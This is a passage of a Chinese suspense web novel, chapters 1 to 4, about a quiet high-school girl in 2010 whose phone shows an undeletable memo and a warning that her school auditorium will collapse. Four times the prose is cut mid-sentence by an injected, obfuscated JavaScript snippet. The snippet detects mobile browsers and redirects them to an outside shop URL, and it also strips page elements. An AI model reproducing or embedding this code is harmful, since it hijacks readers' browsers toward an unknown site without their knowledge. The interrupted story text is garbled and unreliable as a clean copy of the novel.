《观察者效应[悬疑]》 1. 第 1 章 “林语禾?林语禾!” “在!” 林语禾惊慌地抬起头来,一头地中海发型,戴着高度近视眼镜的班主任舒老师不知道什么时候走到了她座位边上,宽大的手掌握成拳,在桌上轻轻敲打,看向她的目光里满含审视。 “手拿开,藏什么东西了?” “没、没有……” “拿开。” 林语禾不情愿地将双手从桌上挪开,叠放在膝盖上。 桌面上除了数学课本什么也没有,向来严厉又眼尖的班主任对此似乎有些意外,眯了眯眼,最终只简单提醒:“认真听课,别走神。” “……知道了老师。”林语禾低垂着眼睛,小声回答。 舒老师从她座位旁边走过,继续向后巡视:“不要怪我念叨你们,高一不打好基础,高二拿什么复习,难道想等着高三再来努力?我跟你们说……” 一如既往地,班主任开始了他的长篇大论。 “……高考一分,刷掉千人,听过没有?现在不努力,到时候坐在考场上抓耳挠腮写不出来那一分的题,又要后悔今天没好好听课……” 高考,大学,竞争……以及未来,每个词都被他重重地吐出,只是对于这群年纪不过十五六岁的高一新生来说,更像是一出无人欣赏的舞台剧,学生们抓耳挠腮,坐立不安,时不时就有人被.操场那边传来的大声呼喊吸引去注意力,有人手指灵活地转着笔打发时间。 就连转笔的观众,看样子都比滔滔不绝的班主任更多,至少他们屏息凝神,在每一次中性笔摔落桌面的时候,都会无声地发出遗憾的慨叹。 林语禾同样没在听。 炎炎夏日,头顶上的歪脖子风扇吱吱呀呀艰难旋转,为这间挤满学生,却舍不得花钱安装空调的教室贡献一点清凉,只可惜她的位置不讨巧,要忍受它的噪音,却没福气享受它的习习凉风。 窗户关得很紧,林语禾感觉自己有些缺氧,舒老师的话远远近近,像隔着层纱一样听不清,反而是窗外的蝉鸣变得更加响亮,几乎是聒噪地在她耳边响个不停。 她用力眨了眨眼,视线落回眼前的教材。 坐标系上,代表函数的弧线极不稳定地漂浮,在一阵令人晕眩的金色光芒中,幻化出无穷多个平行的函数图像,在X轴与Y轴上张牙舞爪地扭动。 “铛” “铛” 脑海中像是有两颗绳索吊住的钢珠在彼此撞击,就像是中暑时的晕眩,她眼前所有的物体都在不规则地摇晃,一时间天旋地转。 忍着轻微的反胃感,林语禾有些荒谬地想,她不会是中暑了吧? 越想,她越是感觉自己口干舌燥,浑身哪哪儿都不舒服,眼前所有的景象都像是罩着一圈朦胧的雾。 她想去掏书包,里头有一瓶藿香正气水,前两天学校发下来给学生防暑用的。 可手刚碰到那软瘪瘪的瓶子,那直冲天灵盖的苦和辣味就好像冲破了瓶身的阻挡,直接灌进了她脑子里,林语禾连忙捂住嘴巴,掩住了无声的干呕,伸手去够放在桌角的水杯。 喝水,应该也能解暑气? 可就在她指尖触碰到冰凉杯身的一刹那,这一切喧嚣忽然都静止了下来。 断断续续的撞击声散去,像是耳鸣时罩在耳朵里的那一层薄膜突然被人取掉,所有的声音都变得清晰而具体。 “铛铛——” 下课铃声响起。 “行吧,今天就讲到这里,回去好好预习,下节课我们讲幂函数!”舒老师意犹未尽地用巨大的三角尺拍了拍桌面,“刚刚说的话,都听清楚没有?” “听清楚了……” “有气无力的,没吃午饭啊?” “听清楚了!” 舒老师这才满意地夹着他的备课本,捋了捋没剩几根毛的头发,大步流星地走出了教室。 “哒哒”的脚步声逐渐走远,教室里顿时从寂静变为了沸腾的课间聊天室。 但和刚刚那令人头疼欲裂的烦闷相比,现在要舒服多了。 她侧过头,正好看见座位靠窗的女同学将窗户推开,新鲜氧气灌进来,林语禾的肩膀松弛了下来,用力地深呼吸了几下。 脑海中的嗡鸣骤然散去,她从光怪陆离的梦境中脱离了出来,竟然有种世界重启的错觉。 课间是最热闹的时候,女生们兴致勃勃地聚在一起,讨论起《花火》上到底哪个作者写得更虐更甜。 几个男生勾肩搭背去了走廊上,隔着一道木门都能听见他们正为了NBA第一人到底是不是科比吵得面红耳赤。 林语禾没有参与任何聊天,也并非在奋笔疾书研读功课,她更像是一个走错片场的路人,一个格格不入的异类。 平凡、普通、没有存在感,桌上垒起高高的“围墙”,这些叠放起来的作业本和教材组成林语禾的屏障,她抿了两口水,胸腔中的恶心感总算消退了个七七八八,又将杯子放回原处,趴在围墙后面,纤细的手指扣住校服袖口放在桌上,轻轻往外一抖。 一个小巧的平板机从里头溜了出来。 六中从高一开始就不让带手机,这是铁令。 但上有计策,下就有对策,学生们早就无师自通如何将手机夹带进学校,林语禾也是如此,宽大的校服袖子就是她最佳的藏宝基地,至今从没被发现过。 唯独今天不同,要不是她反应够快,这个手机肯定就被班主任收了。 厚厚刘海遮掩下,她轻轻按下九宫格键盘,诺基亚的画面亮起,却不是桌面,而是备忘录的界面。 林语禾有些意外,随即恢复平静,看样子是她刚刚情急之下不小心误触了键盘。 她不爱用便利贴,备忘录里偶尔会记一些作业要求和要买的文具,没什么新鲜,林语禾无聊地扫了一眼那些早已过期的内容,打算关掉备忘录的界面,去玩一把熊猫爬树的游戏。 最顶上的那条备忘录却吸引住了她的注意力。 【值班结束前整理完二卷卷宗】 她盯着这行字半天,怎么想也想不起来自己到底是什么时候在备忘录记了这么一段话。 卷宗? 那是什么? 想打卷子,但是打错了? 值班……难道是值日生? “值日结束之前整理完二卷卷子”,听起来不像是什么正经备忘录,更像是上课打瞌睡又要强撑着记笔记时写下的鬼画符。 林语禾苦思冥想了好一会儿,还是没想起来,干脆把它删掉,反正是一条无关紧要的备忘录。 不过,讨人厌的上课铃也在此时响了起来。林语禾叹了口气,有些懊恼地将手机放回了书包里。 不玩了! - 把语文课放在数学课后面的人一定是天才,尤其还是整整四节。 放学铃声响起时,林语禾只感觉自己刚遭遇过代数与几何冲击的大脑,又被各种文言文注释给填满得没有一丝缝隙。 夕阳泛起殷红,浓得像是要从天幕上滴下来的霞光中,她随着人流往外走。 学校门口是一条终年繁忙的双向单车道,来接孩子回家的,急着从这条路路过的,在校门口占位置摆摊的,汽车和电动车喇叭、行人喧哗混成了一片。 油炸食品掩盖住了汽车尾气的臭味……不对,不是尾气,林语禾捂住鼻子,一阵刺鼻的味道钻进她的鼻腔,让人作呕。 离校的学生们在斑马线前分流,林语禾看着不远处的红灯,选了个人少的地方站着等,却有人从她面前一阵风似的“唰”一下就跑了过去。 后面跟着几个穿着六中保卫处制服的叔叔,正穷追不舍:“你们几个给我站住!” “谁允许你们带臭屁弹进来的——不许跑,我要告诉你们班主任!” 前面正逃命的几个男生转过头来做了个鬼脸,竟然又往地上丢了一个,臭得所有人都在往旁边避让,连卖臭豆腐的老板都忍不了地把摊位往旁边挪了挪。 保安们气得跳脚,可头上戴着帽子,身上又没什么标志性的东西,一时还真确定不了这一群学生的身份,又追了几步,几个保安恨恨地停下来:“小兔崽子,也太能跑了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356836|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 林语禾却认出来那几个就是班上的同学,平时就挺精力旺盛,调皮捣蛋,让班主任头疼不已,没想到他们竟然胆大包天,连臭屁弹和烟雾弹也敢光明正大杵在学校门口玩。 之前其他学校有学生在教室里偷偷玩这两个东西,差点引发班上大面积气体中毒,宣城所有学校都提高了戒备,查这些三无玩具比查手机还严,就这样还敢顶风作案。 也不知道上哪个小摊贩手里买的,要被查出来少不了一顿毒打。 当然,这些事情与她无关,林语禾将事情抛之脑后,正好交通灯由红转绿,她捂着鼻子,跟随着过马路的人群匆匆地离开了这里。 穿过斑马线,在十字路口右转,走进长长的巷子,迎面就是林语禾居住的大院。 2010年,到处都都已经是钢筋水泥的高楼大厦,这儿却还保留着充满九十年代风格的老式筒子楼,看上去平平无奇,租金却并不便宜,坐落在六中旁边就是它涨价的最大底气,每年来这儿陪读的父母数不胜数,喂饱了一代又一代房东。 林家却不是租客,而是当年的老住户,家里条件一般,换新房只能指望老房拆迁,只可惜盼了多少年就失望了多少年,恐怕住在这里唯一的好处就是林语禾放学只需要三分钟就能到家。 当然,林语禾宁可不要这三分钟的便捷。 她捏着鼻子快步走过垃圾房,运动鞋踏在楼梯上发出沉闷的回响,拐弯,向上,直到门牌号的第一位数字变为六,林语禾在601门口停下脚步,从兜里掏出钥匙拧开了门锁。 “怎么比平时晚了两分钟?”正在厨房里做饭的常美琴探头出来看一眼墙上的时间,转过目光看沉默换鞋的女儿,“七点吃饭,你先回房间听会英语,做会儿题,听到没?” 林语禾一言不发地提着书包从厨房外路过,拖鞋在地上留下啪嗒啪嗒的声音。 “这孩子,说了多少遍了别拖着脚走路,难听!”常美琴手上忙碌的动作不停,对着林语禾的背影扬声道,“背挺直,驼着像什么样子——妈妈在和你说话!” “啪嗒。” 回应常美琴的,是林语禾关上房门的轻响。 常美琴立在原地,戴着手套的双手一时半会没动:“这孩子怎么这么叛逆!” 她的最后一句话并没有传到林语禾耳朵里,但即使没听见,她也清楚这会儿她妈应该不会说她什么好话,无非又是那老三样,不像个女孩子,不像个高中生,不够懂事听话。 复读机里的磁带慢悠悠转起来,标准得无可挑剔的英式英语念起课文篇章,兴许是太热,家里的老风扇和教室那台歪脖子风力不相上下,林语禾摊着书看了一会儿有些心浮气躁,干脆放着当背景音乐,从兜里掏出手机来。 屏幕上竟然又是打开的备忘录界面。 林语禾沉默,她怀疑是不是九宫格上的哪个按键松动,才会每次都误触到这个功能,不过备忘录里还是那些—— 不对。 林语禾定睛看向了最上面的位置,那条备忘录再次出现了。 【值班结束前整理完二卷卷宗】 她明明记得自己在课间的时候删掉了它,可现在它又出现了……手机才用两年,连这种基础的功能都能出问题? 林语禾皱起眉,偏偏备忘录这个功能还不能删除。 “出厂自带就是了不起。”她低声嘟囔一句,放弃了尝试,再次对着这篇没头没脑的内容按下删除,将它从列表中消去,重新进入界面,确定是真删干净了,她才将手机放到了一边,从书包里拿出习题册。 正好复读机里的课文读完,她视线在书包里来回游移,最后抽出了数学的课后习题。 那条奇怪的备忘录仅仅在脑海中短暂地盘旋了两秒,就被她抛之脑后。 与研究旧手机到底有没有出现故障这种事相比,没有好好做作业进而得罪教数学的班主任舒老师显然更严重,最严厉的惩罚莫过于被抽中去黑板面前做题。 林语禾并不想沐浴在别人的目光里,尤其是这个“别人”中,还有特别爱唠叨的班主任。 2. 第 2 章 和各种数学公式搏斗起来,时间就过得飞快,眼看着还有两道大题就能做完,林语禾刚捋清解题思路,就听到重重的敲门声,以及母亲常美琴高扬的声音:“出来吃饭!” “……来了。” 她活动了一下酸疼的脖子,遗憾地看着只字未写的答题空白处,起身出了卧室。 常美琴坐在餐桌边端着碗正要吃,看见女儿出来,筷子也停住了,视线跟着她身影移动:“英语听完了么?” 林语禾低着头盛饭没回答,常美琴看她沉默寡言的模样就想发火,旁边的林勇连忙打圆场:“吃饭,吃饭。” “我还不能说了,我是她妈!”常美琴不高兴,“吃个饭还要我亲自去敲门,问什么都不说话,三棍子打不出一个闷屁来,也不知道在学校一天都学了些什么,要是高考考不好,我看她要怎么办,你不知道人家慧慧家那儿子今年刚考上985,那以后日子不知道多好过——” “哎哟,各人有各人的福气嘛。” “什么福气,考上好大学才是福气,那不然高中文凭能去做什么,服务员还是收银的?”常美琴翻了个白眼,“以后出去怎么和人说?” “话也不是这么说……” 林勇讪讪地止住了话头,顾左右而言他地夹起一块糖醋排骨:“这个好吃,开胃!你手艺是越来越好了。” “拍什么马屁。” 常美琴哼了一声,还是颇为自得地扬了扬下巴,显然丈夫的赞许令她的情绪好了许多,索性抛开一边闷不吭声的女儿,和丈夫聊起了张家长李家短的闲事儿来,其间自然也少不了对某某朋友,某某同事家小孩的艳羡。 “要是小禾能跟她一样争气,我真是睡着了都能笑醒!” 林语禾咬了一口排骨,酸甜适中的口感中和掉了肉的肥腻,汁水在恰到好处的火力中牢牢锁进了肌肉纤维中,吃起来Q滑弹嫩。 ——原本应该是这样。 但母亲的话,就像是多泼上去的一勺醋,酸涩得她胃里翻涌,林语禾起身,将碗筷放进厨房的台盆里,旋开水龙头泡上,沉默地往卧室走。 “你不吃了?就吃这么点怎么行……去哪儿,跟你说话呢,林语禾!” 只有在常美琴最生气的时候,才会这样连名带姓地称呼女儿,林语禾对此心知肚明,她却不想做出任何回应,而是再一次关上了卧室门,将母亲愤怒的斥责声挡在门外。 再低头看桌上摊开的习题,饭前梳理得一清二楚的思路这会儿就跟糊了层纸一样,看不见摸不着,林语禾站在原地发了两秒的呆,干脆从书包里把手机又摸了出来,一头倒在了床上。 她强烈地想玩一会儿熊猫爬树。 虽然只是一个玩法极为简单的小游戏,只需要控制屏幕中的熊猫左跳右跳往竹子上面爬,避开瓢虫攻击,但却是她为数不多的娱乐活动。 熊猫可爱,还轻松解压。 但事与愿违,当屏幕点亮,备忘录的界面第三次出现在了女孩面前。 这一次,屏幕中央鲜亮地显示出了那条“多余”的内容。 【值班结束前整理完二卷卷宗】 一阵悚然的冷意,透过手机穿透林语禾的四肢百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356837|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骸。 她来不及多想,再一次按下了“删除”键! “喀嚓”。 成功删除文件自带碎纸音效,清晰无比。 然而在林语禾震动的目光中,这条内容再一次出现在了她眼前。 她翻身坐起,可无论她尝试多少次,即使将其他所有内容都删除,甚至重启手机,这篇备忘录还是一动不动,坦然地待在她的视线中。 ……手机没有出问题,有问题的,是这一条莫名其妙的备忘录。 意识到这一点,林语禾倒抽一口冷气,下意识将手机远远地扔了出去。 平板手机在柔软的床铺上翻滚了几个来回,被枕头挡住去路,安静地躺在那不动了。 是灵异事件?还是有人在刻意整蛊她? 林语禾的大脑飞速旋转着,她绞尽脑汁回忆最近和自己打过交道的人,她唯一接触的人就是班上的同学,可她普普通通,没有什么特别之处,说得最多的除了“传一下作业”就是“交作业”,加起来不超过十个字。 就连谈得上交情好的好友都没有,更不用说是结梁子……她没那么有存在感,谁会费尽心思用这种方法来吓唬她? 林语禾死死地盯着那个看上去人畜无害的手机,胸脯剧烈起伏。 怦怦,怦怦,她甚至能听到自己狂跳不止的心脏,有种张开嘴,它就会从胸腔里掉出来的恶心感。 过了不知道多久,林语禾颤抖着手,慢慢将手机捡了回来。 在那篇备忘录的文字下方,她一字一字地输入了新内容。 【你是谁】 3. 第 3 章 9月17日,周五。 林语禾从睁开眼开始就有些魂不守舍。 数学的《一课一练》差点忘记放进书包,趿拉着家居拖鞋就打算出门,好不容易换上了运动鞋,出筒子楼打算边走边解决早饭,却发现带出来的竟然不是平时的茶叶蛋,而是白水煮蛋。 同样是鸡蛋,林语禾能吃皮蛋咸蛋茶叶蛋,哪怕是带甜味的荷包蛋都可以,唯独什么调味也没有的水煮蛋,她一吃就梗得慌。 偏偏是她自己鬼使神差地拿错了,林语禾盯着保鲜袋里圆溜溜还带着温热的鸡蛋看了一会儿,还是一闭眼,狠心将它剥壳,三两口吃了个干净。 最后一口吞下肚,她连忙旋开水杯盖子,用白开水的那一点涩味儿把鸡蛋的腥从嘴巴里冲掉,林语禾随手将只剩下鸡蛋壳的保鲜袋扔进路边的垃圾桶,水杯插回书包侧兜里,快步进了学校。 她住得近,是最早到班级的那一批人——不是那一个,六中传统,第一个到校的学生要肩负开门的重任,怕麻烦的林语禾自然不会自寻烦恼,在操场上看体育生们训练,估摸着时间差不多,她这才慢吞吞地上了楼。 教室果然已经开了,离黑板最近的第一排,有人正埋头苦背文言文,最后一排有人来得同样早,却不是为了学习,而是换个地方睡觉。 林语禾的到来没有引起任何关注,同学们睡觉的睡觉,读书的读书,仿佛看不见她这号人,林语禾对此也司空见惯,放下书包坐到座位上,却不小心碰到了口袋里的直板手机。 她本能地打了个激灵,过了一会儿才慢慢平静下来,从口袋里将手机拿了出来。 不是灵异事件,绝对不是闹鬼,这世界上没有超自然现象,只是有人在拿她寻开心,林语禾努力地开解着自己,绷紧的脊背一点点松弛下来,长长地吐了口气。 ——但昨晚上一开始,她是真吓得不轻。 忽然出现在手机备忘录里的陌生内容,就在她眼皮子下面控制着光标一闪一闪输入文字的“灵异现象”,好巧不巧,热爱惊悚恐怖片的英语老师刚给班上放了一次《咒怨》用来“清凉解暑”。 林语禾闭上眼都感觉,似乎身后就站着一个虎视眈眈的鬼影,随时随地准备将自己吞吃入腹,背心里全是冷汗。 惊吓之下,对方问什么她都说了。 林语禾无声地叹了口气,但凡看一眼内容,都觉得自己傻得可怕。 鬼当然不会查户口,会这么做的只有骗子,可她连屏幕那头到底是什么东西,有什么目的都不知道,就傻乎乎地自报家门,什么学校、班级、名字,统统都说了出来。 要是被她妈知道了,估计得挨不少骂,说不定连手机都要给她收缴掉,以后就没有熊猫爬树玩了。 最令林语禾不爽的还不是这个,而是她都已经理智掉线,为了证实自己是手机主人,绞尽脑汁用各种方法自证身份,屏幕那头的那个人不仅没有相信,反而像是被她挑起火气了似的,丢过来一句冷冰冰的【骗人好玩么】,又发了一段明显是新闻仿写的文字过来,就再也不搭理她了。 林语禾气得目瞪口呆,她还没先骂对方故弄玄虚,装鬼骗人呢,这人还恶人先告状,贼喊捉贼了! 那新闻更是让人怒火中烧,说什么9月17号会发生特大事故,六中的礼堂会坍塌,她会死在里面,荒谬又可笑。 六中是有礼堂不假,但从她就读以来,礼堂大门的开启次数不超过一只手,不是在翻修,就是在准备翻修,他就是换个别的理由,都比这个要来得严谨。 所以林语禾心情才这么不好,她自认没有得罪过谁,如果要拿她寻开心,也不用做得这么过分吧?诅咒别人死是一件很好玩的事情吗?? 她越想越生气,把手机关了蒙头睡觉,反复告诉自己不要受到这些莫名其妙言论的影响,然而这会儿眼皮子下面挂着的两个浓浓黑眼圈似乎有些讽刺。 漆黑的屏幕上映出林语禾睡眠不足有些疲倦的脸。 尽管安慰自己不要把对方的话当真,可那条新闻仍然影响了她的情绪,林语禾一晚上都在做各种光怪陆离的梦,一会儿是黑客帝国,一会儿是终结者,梦里她不是在拼命逃生,就是被抓起来当成了人质,结局还都是成了炮灰。 说到底,没人会对“自己会在今天死亡”这件事感到心平气和……即使知道那是假的,如果说这人的目的就是想看她灰头土脸狼狈的样子,那对方已经成功了,哪怕过了一晚上,她的坏心情还是没有丝毫好转。 ——尤其是这一天还有满满当当的课要上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356838|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林语禾沉默地交上各科作业,果不其然化学课代表又把她的收漏了,只能多跑一趟办公室,把堆成小山的作业册搬起来,自己的塞到中间。 这是她的经验之谈,放到最上面,那是枪打出头鸟,放到最下面,容易引起老师关注,只有中中间间的位置,就像她这个人一样,没有存在感。 早读之后是连续两堂英语课,不幸中的万幸,英语老师没再惦记她那“有趣”的恐怖电影,只是作为老师,她又带来了另一种恐怖。 又是抽背课文,又是听写单词,英语老师十八般武艺来了个大全套,成功将林语禾本就迷糊的大脑彻底搅成了浆糊,差一点就被老师拉入了“特殊关注”,课后还得专门去办公室重新抽背。 倒霉蛋们一个个垂头丧气地跟在英语老师身后走了,幸运儿们一个个欢天喜地,三五成群地聊天逗趣,林语禾周围的桌子一下全空了下来,剩她一个人突兀地坐在原地。 林语禾的视线在长相各异的同学脸上扫了个来回,试图从中找到谁是昨晚恐吓她的元凶,最终失败而归。 她和这群人根本就不熟。 倒不如说,“林语禾”之于4班,就是个会按时到座位坐下上课,会按时离校放学回家,不曾拖欠哪一科作业,但也没有在任何一科上有过人之处的,平平无奇的……路人甲。 随便找一个同学出来,估计连她名字叫什么都记不起,更别说知道她手机号,还特意“黑”进她手机发那些莫名其妙的东西,就为了拿她开涮。 算了,林语禾叹了口气,望着不远处嬉笑打闹的人群,就这样也挺好,时时刻刻提醒她现实是高考,是升学……反正肯定不是虚无缥缈的死亡预告。 就在林语禾这么想着的时候,班主任舒老师却夹着他的大教案本走了进来。 第三节还没打铃,而且也不是他的数学课,舒老师清了清嗓子,郑重其事地通知:“下节体育课暂停哈,咱们高一要开一次集体朝会,年级主任要讲话,你们收拾收拾赶快去礼堂。” 礼堂? 朝会? 体育课没了? 同样的话听在不同人耳朵里重点完全不同,但丝毫不影响他们发出了同样的悲鸣。 林语禾的脸色变了。 4. 第 4 章 【本报讯9月17日上午10时许,宣城六中礼堂因结构老化发生坍塌,据悉事故发生时高一学生正在馆内举行集体活动,仅3班与6班部分学生脱险,其余学生仍然被困,搜救正全力进行中。】 …… 耳边还充斥着其他人对于体育课临时取消的抱怨,还有三三两两从座位上起身的响动,林语禾紧握在一起的手指头有些冰凉。 礼堂,为什么偏偏是礼堂,巧合,还是真实? 舒老师在门口,像是盯着鸡崽子出窝觅食的老母鸡一样,催促着学生赶紧去礼堂把座位填满,免得被校领导抓典型,看林语禾还坐在位置上神游天外,他皱起了眉头:“林语禾!” 女孩像是被他突如其来的一声喊给吓回了神,眼睛抬起来一瞬,旋即又低了下去,藏在了厚厚的刘海后面,埋头像是整理桌上的教材资料,过了一会儿终于站起来,清瘦的身体裹在肥大的校服中,低眉顺眼低往外走。 “赶紧的,每个班有自己的方阵,别坐错地方了啊!”舒老师看她心不在焉,忍不住叮嘱。 林语禾点了点头,宽大的袖子里紧紧攥住了平板手机。 她步伐不快,落在大部队后头,但礼堂不远就在教学楼斜对面,没走多久就看见那扇总摆着“施工中”警示牌的大门向两边打开来,里头隐隐传来了有人在测试话筒的声音。 从这个距离看过去,它就像是一座铁盒子。 等走进礼堂,林语禾这种感觉就更加明显,整个礼堂就像是一座四四方方的大盒子,聚光灯像是手电筒一样直直地打在舞台上,而台下却光线严重不足,学生们挤挤挨挨,像是一群躲避钓鱼人诱饵的游鱼。 林语禾很快找到了班级所在的区域,和往常一样选择在最不起眼的角落里坐下。 她所在的4班有舒老师在门口虎视眈眈,来得最早,其他几个班的人都还零零散散没到齐,台上戴着工作牌穿着志愿者马甲的学生搬运着等会要用的讲台麦克风,连五颜六色的花盆也不忘往讲台脚底下放上几个烘托氛围。 熙熙攘攘中,林语禾深吸了口气,随即捂住了鼻子。 木头腐朽的气味混合着油漆的臭味,还有人群身上的味道,在夏天只能说是非常提神。 礼堂墙上高处镶嵌着一排排的换气设备,但它们的努力似乎也只是杯水车薪。 对这种味道感到不适的并不只有她一个,身后很快就传来了其他人的窃窃私语。 “这礼堂怎么那么臭?” “毕竟是30年前的老古董了,年年修,年年都是一股油漆没散干净的味儿。” “30年,学校也真是抠啊,舍不得重新盖一座吗?” 林语禾仰头望向了天花板,那儿纵横交错,刷得崭新的木头梁柱看上去就是这些微妙气味的源头,最让人不安的是,那些交叉支撑的横梁似乎有些变形。 “礼堂倒塌”四个字像是某种魔咒,又在此刻浮上她的脑海,林语禾盯着那几条横梁,越看越是歪歪扭扭,她怀疑自己是不是疑神疑鬼得太厉害,可眼看着有老师从身边走过,她迟疑了一下,还是叫住了对方。 “老师……天花板上的柱子是不是有点不对?” 那名被她叫住的男老师随意地看了一眼:“有吗?一直都是这样吧……同学你有什么事情和你们班老师反映,我这会儿比较忙。” “……好的,抱歉老师。”林语禾讪讪地坐了下来,后悔自己多此一举,她抬眼看向身侧的墙壁,隐约能看见被涂成大白的墙壁上有歪斜的裂缝,露出了里面的红砖,而就在她脚边不远处,散落着脱落的墙皮和粉尘。 她的心再次提了起来,她就一直将备忘录事件当成了一个愚人节笑话,一次心血来潮的恶作剧,毕竟它听上去就像是天方夜谭,和现实迥然不同。 可现在,林语禾开始不确定了。 如果她的推测是假的呢? ……如果,那条新闻里说的才是真的呢? 这个念头乍然冒出,紧接着就像是沸腾滚水里的泡泡一样,开始无休止地往外喷涌。 ——她会死吗? “死亡”,这个距离林语禾无限遥远的名词,在这一刻,简单粗暴地与她脸贴着脸,面对着面,就像是黑暗中被一双眼睛窥视,她一下浑身冒起鸡皮疙瘩,心脏不受控制地狂跳起来。 回头看,舒老师的身影还没出现,借着宽大的校服衣袖掩护,林语禾迅速点开手机屏幕,查看起昨晚在备忘录中的聊天记录。 如果,她想,如果他说的是真的,那么接下来会发生什么? 她强忍着“林语禾”与“死者”紧靠在一起从文字上带给她的巨大冲击,仔仔细细从头到尾将对方发过来的那条新闻看了一遍,随即手指在九宫格上迅速敲击,试图输入些什么。 可下一秒,哒哒的脚步声从身边路过,她只好迅速将手机藏起,免得招来了老师们的注意力。 等她再想打开备忘录时,礼堂的人变得越来越多,她身边的座位发出吱嘎的轻响——原本只有她一个人的这行座位上迎来了其他人。 提问的机会一闪而逝,林语禾有些懊恼昨晚武断地结束了对话,可事已至此,就算后悔也不能改变现实,她深吸了口气,放弃了祈求对方帮助的念头。 如果那条新闻中的死亡预告是假的,那是最好,但如果是真的……她想要活下去。 手机重新收回了袖子里,林语禾酝酿了一下情绪,努力憋着气到双眼通红,脸色泛白,这才慢慢地从座位上站起来,刚好撞见急急匆匆进来的舒老师。 “老师……”她虚弱地向前一步,捂着肚子,“我肚子疼,我想去医务室……” 舒老师狐疑地看她一眼,目光往她手掌捂住的地方瞥了一眼,忽然恍然大悟似的,连带着脸色都和蔼了两分,冲她摆摆手:“行、行!你去!” 哎,现在的小女生,对自己的身体也不照顾得仔细一点,早上就看她没精打采的,怎么不早说呢? 临到要走了,他又折返回来,往她手里塞了两块钱:“去买杯香飘飘来喝啊!” “……哦。”林语禾茫然地看着班主任走远的背影,他在最前排几个男生的座位前停了脚步,像是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356839|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻找他们捣蛋的把柄。 “学校警告很多次不准带乱七八糟的玩具进来。” “没带没带!”男生们嬉皮笑脸,“舒老师,你还不知道我们多乖多听话吗,哪敢带这种东西进来啊!” 舒老师眉头跳了跳:“少跟我贫,就你几个最喜欢跟老师唱反调——我丑话说在前面啊,学校这次可是明令禁止,你们要是真在学校里胡来弄出火灾,到时候可不是请家长这么轻松,学都有可能上不了了,知不知道!” “知道啦——” “舒老师真爱操心。” 舒老师皱着眉头看了他们半晌,最终还是在这群男生嘻嘻哈哈的笑声里,放弃地转身走开了。 男生们一看老师不在,就互相挤了挤眼睛,把藏在衣服兜里的东西又塞进了书包里,一起笑了起来。 林语禾不知道他们在笑什么,她漠不关心地收回目光,径直往外走。 这会儿她后知后觉地明白过来,刚刚舒老师似乎是把她装病的样子误会成了痛经,所以才会什么话也不说就同意,甚至还叮嘱她要去买杯奶茶——香飘飘是要用热水泡才能喝的,在他眼里恐怕和红枣水没什么两样。 一路上,所有的学生都在往里面走,只有林语禾,像是鱼群中逆流而过的一条小鱼。 “啪嗒”,这条小鱼成功地从鱼笼中钻了出来。 乍然从黑暗到光亮,林语禾伸手挡了挡刺目的阳光,眼睛微微眯了起来,身后的礼堂中传来了主持人中气十足的提醒:“请各班级还没有入场就座的同学,迅速找到你们班的座位方阵入场就座,重复一遍,请各班级同学迅速入场就座——” 现在,这一切都与她无关了,林语禾从指缝里觑着阳光,她尝试过提醒,但那个老师并没有放在心上,她总不能真的跑到主席台上去,嚷嚷着让所有人逃命。 就连她自己,此刻也是半信半疑,离开场馆是为了以防万一,可对于礼堂会不会真的出事,她没有证据,说服不了任何人。 而且,她和这些同学压根就不熟,别说别的班级了,就连她自己所在的4班,林语禾和人说话的次数也是一只手数得过来。 她不记得同学的名字,甚至一觉睡醒,她都不记得他们长什么样子,她何必要给自己找麻烦? ……万一,万一是假的呢,那她肯定要被处分,到时候她妈肯定不会说什么好话,隔壁那个儿子考上985的阿姨,恐怕要变成她妈嘴巴里天下第一幸福的母亲。 林语禾光想想就觉得腻味,她慢慢地往前走,运动鞋在草坪上踏过,发出沙沙的轻响,接下来,她只需要去一趟医务室,装模作样地拿点止痛药……甚至连药都不需要,仅仅在那坐一会儿就好。 或许也可以先回教室,反正这会儿教室里谁也不在,她乐得逍遥,还能趁着空闲玩两把熊猫爬树,弥补昨天没玩成的遗憾。 沙沙。 沙沙。 